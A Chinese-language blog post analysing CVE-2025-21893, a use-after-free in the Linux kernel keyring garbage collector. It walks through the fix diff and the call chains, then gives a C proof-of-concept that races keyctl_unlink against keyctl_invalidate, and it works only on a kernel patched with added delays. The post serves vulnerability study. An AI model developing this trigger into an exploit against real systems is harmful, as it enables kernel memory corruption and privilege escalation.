漏洞追踪之CVE-2025-21893 Linux内核Keyring框架UAF漏洞

0rb1t Lv2

0x00.前言

出于锻炼自己漏洞跟踪能力的目的,最近我开始关注一些最新的内核CVE。因为这种CVE基本上都没有公布POC,所以也更考验学习和漏洞分析能力。

个人认为,这个漏洞本质上是很简单的,但是触发条件极其苛刻,需要条件竞争(时机卡的很死),然后最后还有个调度问题(可能可以用别的方法绕过)。因此为了方便分析漏洞点的可触发性,这里我对内核源码进行了3处的只影响运行速度和时机的修改。

0x01.前置知识

本文使用的源码版本为linux6.13.2.

keyring

这个模块想必搞内核的师傅都了解过,user_key_payload利用就是使用的keyring相关的系统调用。

Linux 内核的 keyring 机制提供了一种 安全地存储和管理加密密钥、身份认证令牌、证书等敏感数据 的方式。它通过一组 系统调用 允许用户空间程序管理密钥,并提供内核内部组件(如文件系统、加密 API)对密钥的访问能力。

用户可利用add_key、keyctl、request_key等系统调用对密钥进行一些管理。

模块目录:security/keys/

add_key

顾名思义,add_key实际就是向指定的 keyring 添加一个新的密钥。

1
2
3
key_serial_t add_key(const char *type, const char *description,
const void *payload, size_t plen,
key_serial_t keyring);

参数包括

  • type:密钥的类型(如 "user""logon")。
  • description:密钥的描述,用于标识密钥。
  • payload:密钥的数据内容。
  • plen:密钥数据的长度。
  • keyring:目标 keyring 的句柄,密钥将被添加到此 keyring(KEY_SPEC_USER_KEYRING、KEY_SPEC_PROCESS_KEYRING等)。

keyctl

keyctl和ioctl一样,提供多种管理密钥的功能。

1
2
long keyctl(int operation, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5);

功能包括

  • KEYCTL_GET_KEYRING_ID:获取 keyring ID。
  • KEYCTL_JOIN_SESSION_KEYRING:创建或加入 session keyring。
  • KEYCTL_REVOKE:撤销密钥,使其不可用。
  • KEYCTL_DESCRIBE:获取密钥的信息(如类型、描述)。
  • KEYCTL_CLEAR:清空 keyring。
  • KEYCTL_LINK:将密钥链接到 keyring。
  • KEYCTL_UNLINK:从 keyring 移除密钥。
  • KEYCTL_INVALIDATE:将key标记为无效key。
  • KEYCTL_SEARCH:在 keyring 中搜索密钥。
  • KEYCTL_READ:读取密钥数据。
  • KEYCTL_INSTANTIATE:实例化密钥(通常用于 request_keyupcall 机制)。

request_key

查找现有密钥,若找不到,则尝试调用 upcall 机制获取密钥。

1
2
key_serial_t request_key(const char *type, const char *description,
const char *callout_info, key_serial_t keyring);

参数包括

  • type:密钥的类型。
  • description:密钥的描述。
  • callout_info:可选参数,用于 upcall 机制(通常用于自动生成密钥)。
  • keyring:目标 keyring 的句柄

Keyring结构

Keyring 是一种特殊的密钥,可以包含其他密钥。每个进程默认有三个 keyring:

  • **进程 Keyring **:与进程绑定,在进程退出时销毁。
  • 线程 Keyring:与线程绑定,线程结束时销毁。
  • 用户 Session Keyring:与用户会话绑定,在用户登出时销毁。
  • User Keyring:特定用户拥有的密钥集合。
  • Group Keyring:用户组共享的密钥集合。

这里需要注意,当使用多线程时,只有User Keyring或者Group Keyring能线程间共享,后面多线程条件竞争的时候就踩了这个坑。

一个keyring可以拥有多个key,也就意味着我们可以通过add_key往一个keyring中添加多个key。

Keyring-GC

在security/keys/gc.c文件中存放着关于keyring框架的gc垃圾回收代码。

当进行一些操作如keyctl_invalidate或者key_put操作时,会使用schedule_work调用gc回收函数key_garbage_collector来进行释放操作。

0x02.漏洞分析

根据http://lore.kernel.org/linux-cve-announce网站可以看的该CVE的相关信息。

image-20250402201303928

根据以上描述可以知道,漏洞出现在key_put函数,在将key->usage减为0之后,还会对key进行一些操作,而此时异步的gc处理函数是通过key->usage是否为0判断是否进行释放操作的,这样就可能会导致gc处理函数释放key后,key_put继续对key进行操作导致uaf。

根据issue commit可以看到diff信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
diff --git a/include/linux/key.h b/include/linux/key.h
index 074dca3222b967..ba05de8579ecc5 100644
--- a/include/linux/key.h
+++ b/include/linux/key.h
@@ -236,6 +236,7 @@ struct key {
#define KEY_FLAG_ROOT_CAN_INVAL 7 /* set if key can be invalidated by root without permission */
#define KEY_FLAG_KEEP 8 /* set if key should not be removed */
#define KEY_FLAG_UID_KEYRING 9 /* set if key is a user or user session keyring */
+#define KEY_FLAG_FINAL_PUT 10 /* set if final put has happened on key */

/* the key type and key description string
* - the desc is used to match a key against search criteria
diff --git a/security/keys/gc.c b/security/keys/gc.c
index 7d687b0962b146..f27223ea4578f1 100644
--- a/security/keys/gc.c
+++ b/security/keys/gc.c
@@ -218,8 +218,10 @@ continue_scanning:
key = rb_entry(cursor, struct key, serial_node);
cursor = rb_next(cursor);

- if (refcount_read(&key->usage) == 0)
+ if (test_bit(KEY_FLAG_FINAL_PUT, &key->flags)) {
+ smp_mb(); /* Clobber key->user after FINAL_PUT seen. */
goto found_unreferenced_key;
+ }

if (unlikely(gc_state & KEY_GC_REAPING_DEAD_1)) {
if (key->type == key_gc_dead_keytype) {
diff --git a/security/keys/key.c b/security/keys/key.c
index 3d7d185019d30a..7198cd2ac3a3a5 100644
--- a/security/keys/key.c
+++ b/security/keys/key.c
@@ -658,6 +658,8 @@ void key_put(struct key *key)
key->user->qnbytes -= key->quotalen;
spin_unlock_irqrestore(&key->user->lock, flags);
}
+ smp_mb(); /* key->user before FINAL_PUT set. */
+ set_bit(KEY_FLAG_FINAL_PUT, &key->flags);
schedule_work(&key_gc_work);
}
}

这里能看到将gc对于key->usage的判断改成key->flags的判断,并在key_put操作完key后才设置这个flags值。

我们查看未修复的相关源码:

key_put函数在对key->usage减一后,只要减为0就会判断key是否KEY_FLAG_IN_QUOTA的flag类型,如果符合就会继续对key进行操作。最后调用schedule_work(&key_gc_work)触发gc回收来释放key。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//security/keys/key.c:646
void key_put(struct key *key)
{
if (key) {
key_check(key);

if (refcount_dec_and_test(&key->usage)) {
unsigned long flags;

/* deal with the user's key tracking and quota */
if (test_bit(KEY_FLAG_IN_QUOTA, &key->flags)) {
spin_lock_irqsave(&key->user->lock, flags);
key->user->qnkeys--;
key->user->qnbytes -= key->quotalen;
spin_unlock_irqrestore(&key->user->lock, flags);
}
schedule_work(&key_gc_work);
}
}
}
EXPORT_SYMBOL(key_put);

可以看到key_gc_work注册的函数是key_garbage_collector。

1
2
3
//security/keys/gc.c:21
static void key_garbage_collector(struct work_struct *work);
DECLARE_WORK(key_gc_work, key_garbage_collector);

再看key_garbage_collector函数,会对遍历树中的所有key,并检查key->usage,为0就会执行释放的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//security/keys/gc.c:178
static void key_garbage_collector(struct work_struct *work)
{
static LIST_HEAD(graveyard);
static u8 gc_state; /* Internal persistent state */
#define KEY_GC_REAP_AGAIN 0x01 /* - Need another cycle */
#define KEY_GC_REAPING_LINKS 0x02 /* - We need to reap links */
#define KEY_GC_REAPING_DEAD_1 0x10 /* - We need to mark dead keys */
#define KEY_GC_REAPING_DEAD_2 0x20 /* - We need to reap dead key links */
#define KEY_GC_REAPING_DEAD_3 0x40 /* - We need to reap dead keys */
#define KEY_GC_FOUND_DEAD_KEY 0x80 /* - We found at least one dead key */

struct rb_node *cursor;
struct key *key;
time64_t new_timer, limit, expiry;
...
continue_scanning:
while (cursor) {
key = rb_entry(cursor, struct key, serial_node);
cursor = rb_next(cursor);

if (refcount_read(&key->usage) == 0)
goto found_unreferenced_key;

这样很明显是存在问题的,因为key_garbage_collector并不只是会被key_put调用,包括keyctl_invalidate等函数也会调用。

keyctl_invalidate调用链如下:

1
2
3
4
5
SYSCALL_DEFINE5(keyctl)->
keyctl_invalidate_key->
key_invalidate->
key_schedule_gc_links->
schedule_work(&key_gc_work)

所以我们只要能在key_put减引用与操作key之间,通过key_garbage_collector释放key即可造成uaf漏洞。当然这样的利用条件十分苛刻,太卡时机了。

0x03.漏洞触发

经过分析,我们可以了解到keyctl_invalidate可以触发gc回收函数,而key_put的调用就需要用到keyctl_unlink操作了。

先前我们add_key就是创建一个key并放入keyring中,而keyctl_unlink则是将key从keyring中删除。

通过如下调用链可触发key的减引用。

1
2
3
4
5
6
7
SYSCALL_DEFINE5(keyctl)->
keyctl_keyring_unlink->
key_unlink->
__key_unlink->
assoc_array_apply_edit->
keyring_free_object->
key_put

其中key_unlink会调用__key_unlink_begin函数创建删除key的edit命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//security/keys/keyring.c:1487
static int __key_unlink_begin(struct key *keyring, struct key *key,
struct assoc_array_edit **_edit)
{
struct assoc_array_edit *edit;

BUG_ON(*_edit != NULL);

edit = assoc_array_delete(&keyring->keys, &keyring_assoc_array_ops,
&key->index_key);
if (IS_ERR(edit))
return PTR_ERR(edit);

if (!edit)
return -ENOENT;

*_edit = edit;
return 0;
}

之后__key_unlink调用assoc_array_apply_edit执行edit操作,即删除操作。

1
2
3
4
5
6
7
8
9
//security/keys/keyring.c:1509
static void __key_unlink(struct key *keyring, struct key *key,
struct assoc_array_edit **_edit)
{
assoc_array_apply_edit(*_edit);
notify_key(keyring, NOTIFY_KEY_UNLINKED, key_serial(key));
*_edit = NULL;
key_payload_reserve(keyring, keyring->datalen - KEYQUOTA_LINK_BYTES);
}

最后调用keyring_assoc_array_ops结构体的keyring_free_object调用key_put对key进行减引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
//security/keys/keyring.c:395
static const struct assoc_array_ops keyring_assoc_array_ops = {
.get_key_chunk = keyring_get_key_chunk,
.get_object_key_chunk = keyring_get_object_key_chunk,
.compare_object = keyring_compare_object,
.diff_objects = keyring_diff_objects,
.free_object = keyring_free_object,
};
//security/keys/keyring.c:387
static void keyring_free_object(void *object)
{
key_put(keyring_ptr_to_key(object));
}

这里需要注意assoc_array_apply_edit是通过call_rcu触发的keyring_free_object函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//lib/assoc_array.c:1345
void assoc_array_apply_edit(struct assoc_array_edit *edit)
{
...
call_rcu(&edit->rcu, assoc_array_rcu_cleanup);
}
//lib/assoc_array.c:1300
static void assoc_array_rcu_cleanup(struct rcu_head *head)
{
struct assoc_array_edit *edit =
container_of(head, struct assoc_array_edit, rcu);
int i;

pr_devel("-->%s()\n", __func__);

if (edit->dead_leaf)
edit->ops->free_object(assoc_array_ptr_to_leaf(edit->dead_leaf));
...
kfree(edit);
}

由此我们可以写出如下半成poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <keyutils.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>

int key, t, tt, stop;
void block(){
static cnt = 1;
printf("Block %d\n", cnt);
getchar();
cnt++;
}

void io_init(){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void competition1(){
while (!stop){
printf("\r1");
key = add_key("user", "desc", "payload", 8, KEY_SPEC_USER_KEYRING);
if (key < 0){
printf("\r2");
sleep(1);
key = add_key("user", "desc", "payload", 8, KEY_SPEC_USER_KEYRING);
if (key < 0){
stop = 1;
t = 1;
perror("add_key");
break;
}
}
t = 1;
for (int i = 0, a = 1; i < 0xffffff; i++){
a *= 107562;
a /= 123;
}
keyctl_unlink(key, KEY_SPEC_USER_KEYRING);
t = 0;
break;
}
}

void competition2(){
while (!stop){
while (!t) ;
printf("key serial: %#x\n", key);
keyctl_invalidate(key);
printf("invalidate down.\n");
t = 0;
break;
}
}

int main(){
io_init();
pthread_t pt1, pt2;
pthread_create(&pt1, NULL, competition1, NULL);
pthread_create(&pt2, NULL, competition2, NULL);
pthread_join(pt1, NULL);
pthread_join(pt2, NULL);
block();
}

因为这里条件竞争很麻烦,所以我们需要修改内核代码保证竞争成功。poc里面的多线程就设置只需要执行一次。

其中我们修改的两处分别为key_put函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//include/linux/key.h
extern void key_put(struct key *key) __attribute__((optimize("O0")));

//security/keys/key.c:646
void key_put(struct key *key)
{
if (key) {
key_check(key);

if (refcount_dec_and_test(&key->usage)) {
unsigned long flags;
int a = 1;
for (long i = 0; i < 0x1ffffffff; i++){
a *= 107562;
a /= 123;
}
/* deal with the user's key tracking and quota */
if (test_bit(KEY_FLAG_IN_QUOTA, &key->flags)) {
spin_lock_irqsave(&key->user->lock, flags);
key->user->qnkeys--;
key->user->qnbytes -= key->quotalen;
spin_unlock_irqrestore(&key->user->lock, flags);
}
schedule_work(&key_gc_work);
}
}
}

以及key_garbage_collector函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//security/keys/gc.c:21
static void key_garbage_collector(struct work_struct *work) __attribute__((optimize("O0")));

//security/keys/gc.c:178
static void key_garbage_collector(struct work_struct *work)
{
static LIST_HEAD(graveyard);
static u8 gc_state; /* Internal persistent state */
#define KEY_GC_REAP_AGAIN 0x01 /* - Need another cycle */
#define KEY_GC_REAPING_LINKS 0x02 /* - We need to reap links */
#define KEY_GC_REAPING_DEAD_1 0x10 /* - We need to mark dead keys */
#define KEY_GC_REAPING_DEAD_2 0x20 /* - We need to reap dead key links */
#define KEY_GC_REAPING_DEAD_3 0x40 /* - We need to reap dead keys */
#define KEY_GC_FOUND_DEAD_KEY 0x80 /* - We found at least one dead key */

...
for (long i = 0, a = 1; i < 0xfffffff; i++){
a *= 105627;
a /= 1027;
}
/* As only this function is permitted to remove things from the key
* serial tree, if cursor is non-NULL then it will always point to a
* valid node in the tree - even if lock got dropped.
*/
spin_lock(&key_serial_lock);
cursor = rb_first(&key_serial_tree);

因为我们这里使用的是for循环阻塞,所以需要在函数声明处加个attribute((optimize("O0")))来防止这段for循环被优化掉。

给key_garbage_collector一个小循环保证另一个线程能执行到key_put减引用之后,同时给key_put加一个大循环,保证在key_put执行后续对key的操作时,gc能来得急进行key的校验以及释放工作。

但只做以上两处修改你会发现poc并不管用,跟踪之后发现是因为gc最后卡在了synchronize_rcu函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

static void key_garbage_collector(struct work_struct *work)
{
static LIST_HEAD(graveyard);
static u8 gc_state; /* Internal persistent state */
#define KEY_GC_REAP_AGAIN 0x01 /* - Need another cycle */
#define KEY_GC_REAPING_LINKS 0x02 /* - We need to reap links */
#define KEY_GC_REAPING_DEAD_1 0x10 /* - We need to mark dead keys */
#define KEY_GC_REAPING_DEAD_2 0x20 /* - We need to reap dead key links */
#define KEY_GC_REAPING_DEAD_3 0x40 /* - We need to reap dead keys */
#define KEY_GC_FOUND_DEAD_KEY 0x80 /* - We found at least one dead key */

struct rb_node *cursor;
struct key *key;
time64_t new_timer, limit, expiry;
...

/* As only this function is permitted to remove things from the key
* serial tree, if cursor is non-NULL then it will always point to a
* valid node in the tree - even if lock got dropped.
*/
spin_lock(&key_serial_lock);
cursor = rb_first(&key_serial_tree);

continue_scanning:
while (cursor) {
key = rb_entry(cursor, struct key, serial_node);
cursor = rb_next(cursor);

if (refcount_read(&key->usage) == 0)
goto found_unreferenced_key;
...

contended:
spin_unlock(&key_serial_lock);

maybe_resched:
...

if (unlikely(gc_state & KEY_GC_REAPING_DEAD_2) ||
!list_empty(&graveyard)) {
/* Make sure that all pending keyring payload destructions are
* fulfilled and that people aren't now looking at dead or
* dying keys that they don't have a reference upon or a link
* to.
*/
kdebug("gc sync");
synchronize_rcu();
}

if (!list_empty(&graveyard)) {
kdebug("gc keys");
key_gc_unused_keys(&graveyard);
}
...
found_unreferenced_key:
kdebug("unrefd key %d", key->serial);
rb_erase(&key->serial_node, &key_serial_tree);
spin_unlock(&key_serial_lock);

list_add_tail(&key->graveyard_link, &graveyard);
gc_state |= KEY_GC_REAP_AGAIN;
goto maybe_resched;

可以看到found_unreferenced_key会把key放入graveyard,之后通过key_gc_unused_keys(&graveyard)来free掉key。

但是在key_gc_unused_keys调用之前,会调用synchronize_rcu函数等待rcu任务完成。

而又刚好我们前文unlink是通过call_rcu来调用key_put函数的,所以这里会等待key_put操作之后才会继续释放key。这样看来,key又变得十分安全了。

但是我们要知道key_put不只会被unlink的call_rcu调用,unlink在对key进行删除操作时,会优先给key加引用,之后结束时再减引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//security/keys/keyctl.c:552
long keyctl_keyring_unlink(key_serial_t id, key_serial_t ringid)
{
key_ref_t keyring_ref, key_ref;
struct key *keyring, *key;
long ret;

keyring_ref = lookup_user_key(ringid, 0, KEY_NEED_WRITE);
if (IS_ERR(keyring_ref)) {
ret = PTR_ERR(keyring_ref);
goto error;
}

key_ref = lookup_user_key(id, KEY_LOOKUP_PARTIAL, KEY_NEED_UNLINK);
if (IS_ERR(key_ref)) {
ret = PTR_ERR(key_ref);
goto error2;
}

keyring = key_ref_to_ptr(keyring_ref);
key = key_ref_to_ptr(key_ref);
if (test_bit(KEY_FLAG_KEEP, &keyring->flags) &&
test_bit(KEY_FLAG_KEEP, &key->flags))
ret = -EPERM;
else
ret = key_unlink(keyring, key);

key_ref_put(key_ref);
error2:
key_ref_put(keyring_ref);
error:
return ret;
}

这里的lookup_user_key会自动给key加引用,在执行完key_unlink之后,又会直接调用key_ref_put来减引用。

如果我们能在call_rcu执行完key_put后再去调用key_ref_put来减引用就可以绕过rcu保护机制了,当然这样会比较困难,因为call_rcu是延迟释放。不过兴许可以通过其他对key进行操作的函数来实现。

这里我们就不再去深入探索了,索性直接在key_ref_put前加个synchronize_rcu来等call_rcu执行完(当然这里使用循环来造成延迟应该也是可以的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
long keyctl_keyring_unlink(key_serial_t id, key_serial_t ringid)
{
...
if (test_bit(KEY_FLAG_KEEP, &keyring->flags) &&
test_bit(KEY_FLAG_KEEP, &key->flags))
ret = -EPERM;
else
ret = key_unlink(keyring, key);

synchronize_rcu();
key_ref_put(key_ref);
error2:
key_ref_put(keyring_ref);
error:
return ret;
}

经过这三处地方的修改,再结合我们的半成poc即可实现uaf。

7ed8ebd718f6dc724d963378896c274

2da91d2eef1f8f380ee5a2a393a1d11

163c58ab5fa176b116e4daaeca7610f

0x04.总结

该漏洞产生的核心原因在于:当进行异步的gc操作时,错误的将引用计数为0作为释放的判断条件,而又在减引用之后对准备释放的指针进行操作。

个人认为这是一个比较新的攻击面,很有可能在其他异步操作时出现相同的问题,有待深挖。

  • Title: 漏洞追踪之CVE-2025-21893 Linux内核Keyring框架UAF漏洞
  • Author: 0rb1t
  • Created at : 2025-04-02 19:38:34
  • Updated at : 2025-04-02 21:22:42
  • Link: https://redefine.ohevan.com/2025/04/02/漏洞追踪之CVE-2025-21893-Linux内核Keyring框架UAF漏洞/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
漏洞追踪之CVE-2025-21893 Linux内核Keyring框架UAF漏洞